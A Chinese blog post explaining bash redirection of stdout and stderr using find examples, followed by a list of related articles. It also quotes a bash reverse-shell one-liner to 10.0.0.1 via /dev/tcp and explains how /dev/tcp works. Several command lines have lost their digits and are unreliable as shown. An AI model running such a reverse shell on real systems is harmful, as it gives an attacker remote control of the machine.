linux bash的重定向
cnblogs原创
下面几种bash重定向各表示什么意思?
find / -name passwd > /dev/null
find / -name passwd > /dev/null >&
find / -name passwd > /dev/null
find / -name passwd &> /dev/null
find / -name passwd >& /dev/null
上面有5种重定向,分别表示:
1. 将find结果重定向到 /dev/null,这个find结果指的是标准输出,不含标准错误,比如以非root用户身份运行这个命令时,可能会遇到这样问题,如下:

其中有的是查找到了,有的报错,对应正常查找到的是标准输出,而报错则是标准错误。标准输出与标准错误都是向屏幕输出,区别是有无缓冲,标准错误是不带缓冲的。
这个最终结果是仅输出find错误结果。
2. 将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。在Linux中,内核默认为每个进程打开3个描述符(标准错误2、标准输出1、标准输入0)。
这个最终结果是什么都不输出。
3. 将find结果(标准错误)重定向到 /dev/null,不含标准输出。
这个最终结果是只输出正常结果,不输出错误结果。
4/5. 这两个是相同的,只是不同写法,>&和&>完全相同,它们对位置先后无要求。将find结果(标准输出)重定向到 /dev/null,同时将标准错误重定向到标准输出。>&或者&>等同于> /dev/null 2>&1。为什么会有这种写法?大概原因是bash对csh进行兼容导致的,因为csh的标准输出和标准错误重定向是这种写法。
其实这些在bash manual手册中都是有说明的:

另外,网上有给出一个反弹shell,如下:
bash -i >& /dev/tcp/10.0.0.1/ >&
重定向语法上面已经解释清楚,这里无非是多了个标准输入的重定向。
使用ls命令发现/dev下面并没有这个tcp目录或者文件,这里的/dev/tcp/10.0.0.1/8000又是什么?同样在bash的manual中有说明,如下:

从手册中可以看到/dev/tcp/10.0.0.1/8000是bash重定向时,一些特殊的文件而已,ls自然看不到的。
PS: 准备在闲暇之余用C++写个反弹shell练手的,遂有了这篇文章。但写完这篇文章之后,发现网上已经有人写过类似的( https://www.anquanke.com/post/id/85712 ),不过没有解释/dev/tcp/host/port是怎么回事,文章就不删了,留作补充说明吧。
linux bash的重定向的更多相关文章
- Linux Bash命令关于程序调试详解
转载:http://os.51cto.com/art/201006/207230.htm 参考:<Linux shell 脚本攻略>Page22-23 Linux bash程序在程序员的使 ...
- Linux I/O 重定向详解及应用实例
Linux I/O 重定向详解及应用实例 简解 > 输出 < 输入 >> 追加 & [> | < | >>]之前:输入输出; ls /dev & ...
- Linux Bash脚本编程语言中的美学与哲学
我承认,我再一次地当了标题党.但是不可否认,这一定是一篇精华随笔.在这一篇中,我将探讨Bash脚本语言中的美学与哲学. 这不是一篇Bash脚本编程的教程,但是却能让人更加深入地了解Bash脚本编程,更 ...
- (转)linux exec与重定向
原文:http://xstarcd.github.io/wiki/shell/exec_redirect.html linux exec与重定向 exec和source都属于bash内部命令(buil ...
- [转帖]linux bash环境变量简单总结
linux bash环境变量简单总结 来源链接:http://www.178linux.com/8005 原创文章,如有转载,请注明原文地址 需要简单学习一下. 其实 我都是直接放一个 .sh文件到 ...
- Linux Bash命令杂记(cut sort uniq wc tee)
Linux Bash命令杂记(cut sort uniq wc tee) 数据流重定向 标准输入(stdin):代码为0,使用<或<<: 标准输出(stdout):代码为1,使用&g ...
- 转: windows 10使用原生linux bash命令行
转: https://www.zybuluo.com/pandait/note/337430 windows 10使用原生linux bash命令行 linux bash windows-10 第一时 ...
- Linux Bash代码 利用for循环实现命令的多次执行
Linux Bash代码 [yuanhao15@lu01 libsvm-rank-2.81]$ for ((i=0; i<=19; i++)) do ./svm-train -s 5 -c 10 ...
- linux BASH shell设置字体与背景颜色
linux BASH shell下设置字体及背景颜色的方法. BASH shell下设置字体及背景颜色 echo -e "\e[31mtest\e[41m" \e[30m 将字 ...
随机推荐
- c++ 为自定义类添加stl遍历器风格的遍历方式
为仿照stl的遍历风格,实现对自定义类型的遍历. 1. 需要遍历的基础结构: struct ConnectionPtr { int id_; int port_; string addr_; //st ...
- LAMP平台部署
LAMP平台的概述 LAMP环境脚本部署:https://github.com/spdir/ShellScripts/tree/master/lamp LAMP的介绍:百度百科 LAMP平台的构成组件 ...
- linux上搭建nginx
安装包:(按顺序执行过去即可,重复无所谓)c++编译环境 yum install gcc-c++ 安装pcre yum -y install pcre-devel 安装openssl yum -y i ...
- 【刷题】AtCoder Regular Contest 003
A.GPA計算 题意:\(n\) 个人,一个字符串表示每个人的等第,每种等第对应一种分数.问平均分 做法:算 #include<bits/stdc++.h> #define ui unsi ...
- 自学Zabbix13.2 分布式监控proxy配置
点击返回:自学Zabbix之路 点击返回:自学Zabbix4.0之路 点击返回:自学zabbix集锦 自学Zabbix13.2 分布式监控proxy配置 分为两部分: 安装proxy 配置proxy ...
- 架构师成长之路6.4 DNS服务器搭建(部署主从DNS)
点击返回架构师成长之路 架构师成长之路6.3 DNS服务器搭建(部署主从DNS) 部署主DNS : 点击 部署从DNS : 如下步骤 1.与主DNS一样,安装bind yum -y install ...
- luogu2774 [网络流24题]方格取数问题 (最小割)
常见套路:棋盘黑白染色,就变成了一张二分图 然后如果选了黑点,四周的白点就不能选了,也是最小割的套路.先把所有价值加起来,再减掉一个最少的不能选的价值,也就是割掉表示不选 建边(S,黑点i,v[i]) ...
- CF603E Pastoral Oddities
CF603E Pastoral Oddities 度数不好处理.转化题意:不存在连通块为奇数时候就成功了(自底向上调整法证明) 暴力:从小到大排序加入.并查集维护.全局变量记录奇数连通块的个数 答案单 ...
- 使用html5获取当前手机的经纬度,并接入百度地图API,查询出当前位置
最近项目需要,稍微研究一下html5获取当前地理位置的问题. 获取当前位置的经纬度很简单,一句代码就搞定 navigator.geolocation.getCurrentPosition(functi ...
- 关于vue里页面的缓存
keep-alive是vue内置的一个组件,可以使被它包含的组件处于保留状态,或避免被重新渲染. 用法: 运行结果描述: input输入框内,路由切换输入框内部的内容不会发生改变. 在keep-ali ...